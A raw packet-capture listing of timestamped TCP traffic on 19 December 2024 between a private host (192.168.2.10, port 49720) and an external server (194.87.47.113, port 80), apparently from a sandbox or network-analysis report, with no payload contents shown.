Dec 19, 2024 08:21:22.557482004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.557518959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.557555914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.572535992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.572627068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.572741985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.572884083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.572988033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.573057890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.573657990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.573760986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.573932886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.574444056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.574531078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.575306892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.575360060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.575390100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.575431108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.576030016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.576169014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.576838970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.576852083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.576905966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.576936960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.593700886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.593724966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.593780994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.593838930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.593939066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.594063044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.594650030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.594692945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.594996929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.595423937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.595607042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.595645905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.596234083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.596345901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.597095013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.597146034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.597186089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.597229958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.597819090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.597939014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.598164082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.598615885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.598715067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.599081039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.599471092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.599653959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.599697113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.600239992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.600323915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.601026058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.601078033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.601125002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.601161957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.601872921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.601986885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.602049112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.602758884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.602880955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.603055954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.603605986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.603723049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.603813887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.604309082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.604521036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.605115891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.605170012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.605242968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.605278969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.605812073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.605906963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.606110096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.606638908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.606770039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.607139111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.607403040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.607527971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.607573032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.608256102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.608354092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.609046936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.609102964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.609179020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.609220028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.610094070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.610295057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.610357046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.611069918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.611136913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.611335993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.612056971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.612092972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.612225056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.682502985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.682562113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.682638884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.682751894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.682934999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.683010101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.683056116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.683728933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.683775902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.683784962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.684474945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.684524059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.690761089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.690789938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.690977097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.691215992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.691338062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.691409111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.691930056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.691998005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.692058086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.692728996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.726263046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.726275921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.726310015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.726458073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.726497889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.726533890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.727267981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.727322102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.727336884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.728071928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.728118896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.728154898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.728864908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.728920937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.728955984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.729849100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.729887962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.729923964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.730598927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.730611086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.730690956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.731197119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.731237888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.742876053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.742944002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.743047953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.743204117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.743226051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.743264914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.743989944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.744128942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.744226933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.744797945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.744906902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.744956017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.745625019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.745719910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.745770931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.746387005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.746501923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.746551037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.747220039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.747349024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.747505903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.748008013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.748131990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.748366117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.748816967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.748934031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.748984098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.749609947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.749731064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.749824047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.764568090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.764657974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.764702082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.764936924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.765043020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.765096903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.765537977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.765616894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.765681028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.766347885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.766462088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.766563892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.767182112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.767220020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.767752886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.767973900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.768083096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.768131018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.768733025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.768837929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.769000053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.785870075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.785914898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.786003113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.786220074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.786413908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.786520958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.786856890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.786916018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.787015915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.787638903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.787749052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.788028002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.788414955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.788523912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.788569927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.789216042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.789340019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.789387941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.790339947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.790489912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.790537119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.791029930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.791114092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.791167021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.791587114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.791721106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.791764975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.792416096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.792515039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.792862892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.793196917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.793303013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.793425083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.793993950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.794081926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.794136047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.794806004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.794923067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.795497894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.795667887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.795814037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.796452045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.796495914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.796529055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.796574116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.797193050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.797323942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.798038960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.798089027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.798187017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.798226118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.799036026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.799113989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.799391031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.799671888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.799760103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.799834013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.800405979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.800502062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.800698996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.801230907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.801323891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.801521063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.802000046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.802054882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.802109957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.802953005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.803102970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.803142071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.803596020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.856998920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.874573946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.874718904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.874793053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.874923944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.875106096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.875251055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.875732899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.875957012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.876013994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.876552105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.883295059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.883352041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.883352041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.883626938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.883704901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.883721113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.884619951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.884721994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.884727001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.885504961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.885565042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.918672085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.918735027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.918981075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.919203043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.919270039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.919339895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.919845104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.919903040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.920533895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.920598984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.920655966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.920696020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.921343088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.921412945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.921622992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.922214985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.922260046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.922399044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.922938108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.922950983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.923063040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.934911013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.934964895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.935060978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.935113907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.935141087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.935185909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.935834885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.935965061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.936626911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.936635017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.936772108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.936815977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.937427044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.937537909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.937586069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.938262939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.938342094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.938786030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.939024925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.939187050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.939227104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.939842939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.939960003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.939996004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.940654039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.940747023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.940995932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.941453934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.941576004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.942028999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.942195892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.956896067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.956940889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.956954002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.957267046 CET	80	49720	194.87.47.113	192.168.2.10
